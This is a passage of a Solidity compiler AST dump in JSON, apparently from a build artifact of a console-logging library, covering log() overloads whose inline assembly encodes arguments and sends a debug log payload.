me","src":"35066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34815,"nodeType":"VariableDeclarationStatement","src":"35066:10:22"},{"assignments":[34817],"declarations":[{"constant":false,"id":34817,"mutability":"mutable","name":"m2","nameLocation":"35094:2:22","nodeType":"VariableDeclaration","scope":34835,"src":"35086:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34816,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35086:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34818,"nodeType":"VariableDeclarationStatement","src":"35086:10:22"},{"assignments":[34820],"declarations":[{"constant":false,"id":34820,"mutability":"mutable","name":"m3","nameLocation":"35114:2:22","nodeType":"VariableDeclaration","scope":34835,"src":"35106:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34819,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35106:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34821,"nodeType":"VariableDeclarationStatement","src":"35106:10:22"},{"assignments":[34823],"declarations":[{"constant":false,"id":34823,"mutability":"mutable","name":"m4","nameLocation":"35134:2:22","nodeType":"VariableDeclaration","scope":34835,"src":"35126:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34822,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35126:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34824,"nodeType":"VariableDeclarationStatement","src":"35126:10:22"},{"assignments":[34826],"declarations":[{"constant":false,"id":34826,"mutability":"mutable","name":"m5","nameLocation":"35154:2:22","nodeType":"VariableDeclaration","scope":34835,"src":"35146:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34825,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35146:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34827,"nodeType":"VariableDeclarationStatement","src":"35146:10:22"},{"AST":{"nativeSrc":"35175:761:22","nodeType":"YulBlock","src":"35175:761:22","statements":[{"body":{"nativeSrc":"35218:313:22","nodeType":"YulBlock","src":"35218:313:22","statements":[{"nativeSrc":"35236:15:22","nodeType":"YulVariableDeclaration","src":"35236:15:22","value":{"kind":"number","nativeSrc":"35250:1:22","nodeType":"YulLiteral","src":"35250:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"35240:6:22","nodeType":"YulTypedName","src":"35240:6:22","type":""}]},{"body":{"nativeSrc":"35321:40:22","nodeType":"YulBlock","src":"35321:40:22","statements":[{"body":{"nativeSrc":"35350:9:22","nodeType":"YulBlock","src":"35350:9:22","statements":[{"nativeSrc":"35352:5:22","nodeType":"YulBreak","src":"35352:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"35338:6:22","nodeType":"YulIdentifier","src":"35338:6:22"},{"name":"w","nativeSrc":"35346:1:22","nodeType":"YulIdentifier","src":"35346:1:22"}],"functionName":{"name":"byte","nativeSrc":"35333:4:22","nodeType":"YulIdentifier","src":"35333:4:22"},"nativeSrc":"35333:15:22","nodeType":"YulFunctionCall","src":"35333:15:22"}],"functionName":{"name":"iszero","nativeSrc":"35326:6:22","nodeType":"YulIdentifier","src":"35326:6:22"},"nativeSrc":"35326:23:22","nodeType":"YulFunctionCall","src":"35326:23:22"},"nativeSrc":"35323:36:22","nodeType":"YulIf","src":"35323:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"35278:6:22","nodeType":"YulIdentifier","src":"35278:6:22"},{"kind":"number","nativeSrc":"35286:4:22","nodeType":"YulLiteral","src":"35286:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"35275:2:22","nodeType":"YulIdentifier","src":"35275:2:22"},"nativeSrc":"35275:16:22","nodeType":"YulFunctionCall","src":"35275:16:22"},"nativeSrc":"35268:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"35292:28:22","nodeType":"YulBlock","src":"35292:28:22","statements":[{"nativeSrc":"35294:24:22","nodeType":"YulAssignment","src":"35294:24:22","value":{"arguments":[{"name":"length","nativeSrc":"35308:6:22","nodeType":"YulIdentifier","src":"35308:6:22"},{"kind":"number","nativeSrc":"35316:1:22","nodeType":"YulLiteral","src":"35316:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"35304:3:22","nodeType":"YulIdentifier","src":"35304:3:22"},"nativeSrc":"35304:14:22","nodeType":"YulFunctionCall","src":"35304:14:22"},"variableNames":[{"name":"length","nativeSrc":"35294:6:22","nodeType":"YulIdentifier","src":"35294:6:22"}]}]},"pre":{"nativeSrc":"35272:2:22","nodeType":"YulBlock","src":"35272:2:22","statements":[]},"src":"35268:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"35385:3:22","nodeType":"YulIdentifier","src":"35385:3:22"},{"name":"length","nativeSrc":"35390:6:22","nodeType":"YulIdentifier","src":"35390:6:22"}],"functionName":{"name":"mstore","nativeSrc":"35378:6:22","nodeType":"YulIdentifier","src":"35378:6:22"},"nativeSrc":"35378:19:22","nodeType":"YulFunctionCall","src":"35378:19:22"},"nativeSrc":"35378:19:22","nodeType":"YulExpressionStatement","src":"35378:19:22"},{"nativeSrc":"35414:37:22","nodeType":"YulVariableDeclaration","src":"35414:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"35431:3:22","nodeType":"YulLiteral","src":"35431:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"35440:1:22","nodeType":"YulLiteral","src":"35440:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"35443:6:22","nodeType":"YulIdentifier","src":"35443:6:22"}],"functionName":{"name":"shl","nativeSrc":"35436:3:22","nodeType":"YulIdentifier","src":"35436:3:22"},"nativeSrc":"35436:14:22","nodeType":"YulFunctionCall","src":"35436:14:22"}],"functionName":{"name":"sub","nativeSrc":"35427:3:22","nodeType":"YulIdentifier","src":"35427:3:22"},"nativeSrc":"35427:24:22","nodeType":"YulFunctionCall","src":"35427:24:22"},"variables":[{"name":"shift","nativeSrc":"35418:5:22","nodeType":"YulTypedName","src":"35418:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"35479:3:22","nodeType":"YulIdentifier","src":"35479:3:22"},{"kind":"number","nativeSrc":"35484:4:22","nodeType":"YulLiteral","src":"35484:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"35475:3:22","nodeType":"YulIdentifier","src":"35475:3:22"},"nativeSrc":"35475:14:22","nodeType":"YulFunctionCall","src":"35475:14:22"},{"arguments":[{"name":"shift","nativeSrc":"35495:5:22","nodeType":"YulIdentifier","src":"35495:5:22"},{"arguments":[{"name":"shift","nativeSrc":"35506:5:22","nodeType":"YulIdentifier","src":"35506:5:22"},{"name":"w","nativeSrc":"35513:1:22","nodeType":"YulIdentifier","src":"35513:1:22"}],"functionName":{"name":"shr","nativeSrc":"35502:3:22","nodeType":"YulIdentifier","src":"35502:3:22"},"nativeSrc":"35502:13:22","nodeType":"YulFunctionCall","src":"35502:13:22"}],"functionName":{"name":"shl","nativeSrc":"35491:3:22","nodeType":"YulIdentifier","src":"35491:3:22"},"nativeSrc":"35491:25:22","nodeType":"YulFunctionCall","src":"35491:25:22"}],"functionName":{"name":"mstore","nativeSrc":"35468:6:22","nodeType":"YulIdentifier","src":"35468:6:22"},"nativeSrc":"35468:49:22","nodeType":"YulFunctionCall","src":"35468:49:22"},"nativeSrc":"35468:49:22","nodeType":"YulExpressionStatement","src":"35468:49:22"}]},"name":"writeString","nativeSrc":"35189:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"35210:3:22","nodeType":"YulTypedName","src":"35210:3:22","type":""},{"name":"w","nativeSrc":"35215:1:22","nodeType":"YulTypedName","src":"35215:1:22","type":""}],"src":"35189:342:22"},{"nativeSrc":"35544:17:22","nodeType":"YulAssignment","src":"35544:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"35556:4:22","nodeType":"YulLiteral","src":"35556:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"35550:5:22","nodeType":"YulIdentifier","src":"35550:5:22"},"nativeSrc":"35550:11:22","nodeType":"YulFunctionCall","src":"35550:11:22"},"variableNames":[{"name":"m0","nativeSrc":"35544:2:22","nodeType":"YulIdentifier","src":"35544:2:22"}]},{"nativeSrc":"35574:17:22","nodeType":"YulAssignment","src":"35574:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"35586:4:22","nodeType":"YulLiteral","src":"35586:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"35580:5:22","nodeType":"YulIdentifier","src":"35580:5:22"},"nativeSrc":"35580:11:22","nodeType":"YulFunctionCall","src":"35580:11:22"},"variableNames":[{"name":"m1","nativeSrc":"35574:2:22","nodeType":"YulIdentifier","src":"35574:2:22"}]},{"nativeSrc":"35604:17:22","nodeType":"YulAssignment","src":"35604:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"35616:4:22","nodeType":"YulLiteral","src":"35616:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"35610:5:22","nodeType":"YulIdentifier","src":"35610:5:22"},"nativeSrc":"35610:11:22","nodeType":"YulFunctionCall","src":"35610:11:22"},"variableNames":[{"name":"m2","nativeSrc":"35604:2:22","nodeType":"YulIdentifier","src":"35604:2:22"}]},{"nativeSrc":"35634:17:22","nodeType":"YulAssignment","src":"35634:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"35646:4:22","nodeType":"YulLiteral","src":"35646:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"35640:5:22","nodeType":"YulIdentifier","src":"35640:5:22"},"nativeSrc":"35640:11:22","nodeType":"YulFunctionCall","src":"35640:11:22"},"variableNames":[{"name":"m3","nativeSrc":"35634:2:22","nodeType":"YulIdentifier","src":"35634:2:22"}]},{"nativeSrc":"35664:17:22","nodeType":"YulAssignment","src":"35664:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"35676:4:22","nodeType":"YulLiteral","src":"35676:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"35670:5:22","nodeType":"YulIdentifier","src":"35670:5:22"},"nativeSrc":"35670:11:22","nodeType":"YulFunctionCall","src":"35670:11:22"},"variableNames":[{"name":"m4","nativeSrc":"35664:2:22","nodeType":"YulIdentifier","src":"35664:2:22"}]},{"nativeSrc":"35694:17:22","nodeType":"YulAssignment","src":"35694:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"35706:4:22","nodeType":"YulLiteral","src":"35706:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"35700:5:22","nodeType":"YulIdentifier","src":"35700:5:22"},"nativeSrc":"35700:11:22","nodeType":"YulFunctionCall","src":"35700:11:22"},"variableNames":[{"name":"m5","nativeSrc":"35694:2:22","nodeType":"YulIdentifier","src":"35694:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"35786:4:22","nodeType":"YulLiteral","src":"35786:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"35792:10:22","nodeType":"YulLiteral","src":"35792:10:22","type":"","value":"0xde9a9270"}],"functionName":{"name":"mstore","nativeSrc":"35779:6:22","nodeType":"YulIdentifier","src":"35779:6:22"},"nativeSrc":"35779:24:22","nodeType":"YulFunctionCall","src":"35779:24:22"},"nativeSrc":"35779:24:22","nodeType":"YulExpressionStatement","src":"35779:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"35823:4:22","nodeType":"YulLiteral","src":"35823:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"35829:2:22","nodeType":"YulIdentifier","src":"35829:2:22"}],"functionName":{"name":"mstore","nativeSrc":"35816:6:22","nodeType":"YulIdentifier","src":"35816:6:22"},"nativeSrc":"35816:16:22","nodeType":"YulFunctionCall","src":"35816:16:22"},"nativeSrc":"35816:16:22","nodeType":"YulExpressionStatement","src":"35816:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"35852:4:22","nodeType":"YulLiteral","src":"35852:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"35858:2:22","nodeType":"YulIdentifier","src":"35858:2:22"}],"functionName":{"name":"mstore","nativeSrc":"35845:6:22","nodeType":"YulIdentifier","src":"35845:6:22"},"nativeSrc":"35845:16:22","nodeType":"YulFunctionCall","src":"35845:16:22"},"nativeSrc":"35845:16:22","nodeType":"YulExpressionStatement","src":"35845:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"35881:4:22","nodeType":"YulLiteral","src":"35881:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"35887:4:22","nodeType":"YulLiteral","src":"35887:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"35874:6:22","nodeType":"YulIdentifier","src":"35874:6:22"},"nativeSrc":"35874:18:22","nodeType":"YulFunctionCall","src":"35874:18:22"},"nativeSrc":"35874:18:22","nodeType":"YulExpressionStatement","src":"35874:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"35917:4:22","nodeType":"YulLiteral","src":"35917:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"35923:2:22","nodeType":"YulIdentifier","src":"35923:2:22"}],"functionName":{"name":"writeString","nativeSrc":"35905:11:22","nodeType":"YulIdentifier","src":"35905:11:22"},"nativeSrc":"35905:21:22","nodeType":"YulFunctionCall","src":"35905:21:22"},"nativeSrc":"35905:21:22","nodeType":"YulExpressionStatement","src":"35905:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34811,"isOffset":false,"isSlot":false,"src":"35544:2:22","valueSize":1},{"declaration":34814,"isOffset":false,"isSlot":false,"src":"35574:2:22","valueSize":1},{"declaration":34817,"isOffset":false,"isSlot":false,"src":"35604:2:22","valueSize":1},{"declaration":34820,"isOffset":false,"isSlot":false,"src":"35634:2:22","valueSize":1},{"declaration":34823,"isOffset":false,"isSlot":false,"src":"35664:2:22","valueSize":1},{"declaration":34826,"isOffset":false,"isSlot":false,"src":"35694:2:22","valueSize":1},{"declaration":34803,"isOffset":false,"isSlot":false,"src":"35829:2:22","valueSize":1},{"declaration":34805,"isOffset":false,"isSlot":false,"src":"35858:2:22","valueSize":1},{"declaration":34807,"isOffset":false,"isSlot":false,"src":"35923:2:22","valueSize":1}],"id":34828,"nodeType":"InlineAssembly","src":"35166:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34830,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"35961:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34831,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"35967:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34829,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"35945:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35945:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34833,"nodeType":"ExpressionStatement","src":"35945:27:22"},{"AST":{"nativeSrc":"35991:185:22","nodeType":"YulBlock","src":"35991:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"36012:4:22","nodeType":"YulLiteral","src":"36012:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"36018:2:22","nodeType":"YulIdentifier","src":"36018:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36005:6:22","nodeType":"YulIdentifier","src":"36005:6:22"},"nativeSrc":"36005:16:22","nodeType":"YulFunctionCall","src":"36005:16:22"},"nativeSrc":"36005:16:22","nodeType":"YulExpressionStatement","src":"36005:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36041:4:22","nodeType":"YulLiteral","src":"36041:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"36047:2:22","nodeType":"YulIdentifier","src":"36047:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36034:6:22","nodeType":"YulIdentifier","src":"36034:6:22"},"nativeSrc":"36034:16:22","nodeType":"YulFunctionCall","src":"36034:16:22"},"nativeSrc":"36034:16:22","nodeType":"YulExpressionStatement","src":"36034:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36070:4:22","nodeType":"YulLiteral","src":"36070:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"36076:2:22","nodeType":"YulIdentifier","src":"36076:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36063:6:22","nodeType":"YulIdentifier","src":"36063:6:22"},"nativeSrc":"36063:16:22","nodeType":"YulFunctionCall","src":"36063:16:22"},"nativeSrc":"36063:16:22","nodeType":"YulExpressionStatement","src":"36063:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36099:4:22","nodeType":"YulLiteral","src":"36099:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"36105:2:22","nodeType":"YulIdentifier","src":"36105:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36092:6:22","nodeType":"YulIdentifier","src":"36092:6:22"},"nativeSrc":"36092:16:22","nodeType":"YulFunctionCall","src":"36092:16:22"},"nativeSrc":"36092:16:22","nodeType":"YulExpressionStatement","src":"36092:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36128:4:22","nodeType":"YulLiteral","src":"36128:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"36134:2:22","nodeType":"YulIdentifier","src":"36134:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36121:6:22","nodeType":"YulIdentifier","src":"36121:6:22"},"nativeSrc":"36121:16:22","nodeType":"YulFunctionCall","src":"36121:16:22"},"nativeSrc":"36121:16:22","nodeType":"YulExpressionStatement","src":"36121:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36157:4:22","nodeType":"YulLiteral","src":"36157:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"36163:2:22","nodeType":"YulIdentifier","src":"36163:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36150:6:22","nodeType":"YulIdentifier","src":"36150:6:22"},"nativeSrc":"36150:16:22","nodeType":"YulFunctionCall","src":"36150:16:22"},"nativeSrc":"36150:16:22","nodeType":"YulExpressionStatement","src":"36150:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34811,"isOffset":false,"isSlot":false,"src":"36018:2:22","valueSize":1},{"declaration":34814,"isOffset":false,"isSlot":false,"src":"36047:2:22","valueSize":1},{"declaration":34817,"isOffset":false,"isSlot":false,"src":"36076:2:22","valueSize":1},{"declaration":34820,"isOffset":false,"isSlot":false,"src":"36105:2:22","valueSize":1},{"declaration":34823,"isOffset":false,"isSlot":false,"src":"36134:2:22","valueSize":1},{"declaration":34826,"isOffset":false,"isSlot":false,"src":"36163:2:22","valueSize":1}],"id":34834,"nodeType":"InlineAssembly","src":"35982:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34985:3:22","parameters":{"id":34808,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34803,"mutability":"mutable","name":"p0","nameLocation":"34994:2:22","nodeType":"VariableDeclaration","scope":34836,"src":"34989:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34802,"name":"bool","nodeType":"ElementaryTypeName","src":"34989:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34805,"mutability":"mutable","name":"p1","nameLocation":"35006:2:22","nodeType":"VariableDeclaration","scope":34836,"src":"34998:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34804,"name":"address","nodeType":"ElementaryTypeName","src":"34998:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34807,"mutability":"mutable","name":"p2","nameLocation":"35018:2:22","nodeType":"VariableDeclaration","scope":34836,"src":"35010:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34806,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35010:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"34988:33:22"},"returnParameters":{"id":34809,"nodeType":"ParameterList","parameters":[],"src":"35036:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34865,"nodeType":"FunctionDefinition","src":"36188:652:22","nodes":[],"body":{"id":34864,"nodeType":"Block","src":"36245:595:22","nodes":[],"statements":[{"assignments":[34846],"declarations":[{"constant":false,"id":34846,"mutability":"mutable","name":"m0","nameLocation":"36263:2:22","nodeType":"VariableDeclaration","scope":34864,"src":"36255:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34845,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36255:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34847,"nodeType":"VariableDeclarationStatement","src":"36255:10:22"},{"assignments":[34849],"declarations":[{"constant":false,"id":34849,"mutability":"mutable","name":"m1","nameLocation":"36283:2:22","nodeType":"VariableDeclaration","scope":34864,"src":"36275:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34848,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36275:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34850,"nodeType":"VariableDeclarationStatement","src":"36275:10:22"},{"assignments":[34852],"declarations":[{"constant":false,"id":34852,"mutability":"mutable","name":"m2","nameLocation":"36303:2:22","nodeType":"VariableDeclaration","scope":34864,"src":"36295:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34851,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36295:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34853,"nodeType":"VariableDeclarationStatement","src":"36295:10:22"},{"assignments":[34855],"declarations":[{"constant":false,"id":34855,"mutability":"mutable","name":"m3","nameLocation":"36323:2:22","nodeType":"VariableDeclaration","scope":34864,"src":"36315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34854,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36315:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34856,"nodeType":"VariableDeclarationStatement","src":"36315:10:22"},{"AST":{"nativeSrc":"36344:308:22","nodeType":"YulBlock","src":"36344:308:22","statements":[{"nativeSrc":"36358:17:22","nodeType":"YulAssignment","src":"36358:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"36370:4:22","nodeType":"YulLiteral","src":"36370:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"36364:5:22","nodeType":"YulIdentifier","src":"36364:5:22"},"nativeSrc":"36364:11:22","nodeType":"YulFunctionCall","src":"36364:11:22"},"variableNames":[{"name":"m0","nativeSrc":"36358:2:22","nodeType":"YulIdentifier","src":"36358:2:22"}]},{"nativeSrc":"36388:17:22","nodeType":"YulAssignment","src":"36388:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"36400:4:22","nodeType":"YulLiteral","src":"36400:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"36394:5:22","nodeType":"YulIdentifier","src":"36394:5:22"},"nativeSrc":"36394:11:22","nodeType":"YulFunctionCall","src":"36394:11:22"},"variableNames":[{"name":"m1","nativeSrc":"36388:2:22","nodeType":"YulIdentifier","src":"36388:2:22"}]},{"nativeSrc":"36418:17:22","nodeType":"YulAssignment","src":"36418:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"36430:4:22","nodeType":"YulLiteral","src":"36430:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"36424:5:22","nodeType":"YulIdentifier","src":"36424:5:22"},"nativeSrc":"36424:11:22","nodeType":"YulFunctionCall","src":"36424:11:22"},"variableNames":[{"name":"m2","nativeSrc":"36418:2:22","nodeType":"YulIdentifier","src":"36418:2:22"}]},{"nativeSrc":"36448:17:22","nodeType":"YulAssignment","src":"36448:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"36460:4:22","nodeType":"YulLiteral","src":"36460:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"36454:5:22","nodeType":"YulIdentifier","src":"36454:5:22"},"nativeSrc":"36454:11:22","nodeType":"YulFunctionCall","src":"36454:11:22"},"variableNames":[{"name":"m3","nativeSrc":"36448:2:22","nodeType":"YulIdentifier","src":"36448:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36538:4:22","nodeType":"YulLiteral","src":"36538:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"36544:10:22","nodeType":"YulLiteral","src":"36544:10:22","type":"","value":"0x1078f68d"}],"functionName":{"name":"mstore","nativeSrc":"36531:6:22","nodeType":"YulIdentifier","src":"36531:6:22"},"nativeSrc":"36531:24:22","nodeType":"YulFunctionCall","src":"36531:24:22"},"nativeSrc":"36531:24:22","nodeType":"YulExpressionStatement","src":"36531:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36575:4:22","nodeType":"YulLiteral","src":"36575:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"36581:2:22","nodeType":"YulIdentifier","src":"36581:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36568:6:22","nodeType":"YulIdentifier","src":"36568:6:22"},"nativeSrc":"36568:16:22","nodeType":"YulFunctionCall","src":"36568:16:22"},"nativeSrc":"36568:16:22","nodeType":"YulExpressionStatement","src":"36568:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36604:4:22","nodeType":"YulLiteral","src":"36604:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"36610:2:22","nodeType":"YulIdentifier","src":"36610:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36597:6:22","nodeType":"YulIdentifier","src":"36597:6:22"},"nativeSrc":"36597:16:22","nodeType":"YulFunctionCall","src":"36597:16:22"},"nativeSrc":"36597:16:22","nodeType":"YulExpressionStatement","src":"36597:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36633:4:22","nodeType":"YulLiteral","src":"36633:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"36639:2:22","nodeType":"YulIdentifier","src":"36639:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36626:6:22","nodeType":"YulIdentifier","src":"36626:6:22"},"nativeSrc":"36626:16:22","nodeType":"YulFunctionCall","src":"36626:16:22"},"nativeSrc":"36626:16:22","nodeType":"YulExpressionStatement","src":"36626:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34846,"isOffset":false,"isSlot":false,"src":"36358:2:22","valueSize":1},{"declaration":34849,"isOffset":false,"isSlot":false,"src":"36388:2:22","valueSize":1},{"declaration":34852,"isOffset":false,"isSlot":false,"src":"36418:2:22","valueSize":1},{"declaration":34855,"isOffset":false,"isSlot":false,"src":"36448:2:22","valueSize":1},{"declaration":34838,"isOffset":false,"isSlot":false,"src":"36581:2:22","valueSize":1},{"declaration":34840,"isOffset":false,"isSlot":false,"src":"36610:2:22","valueSize":1},{"declaration":34842,"isOffset":false,"isSlot":false,"src":"36639:2:22","valueSize":1}],"id":34857,"nodeType":"InlineAssembly","src":"36335:317:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34859,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"36677:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"36683:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 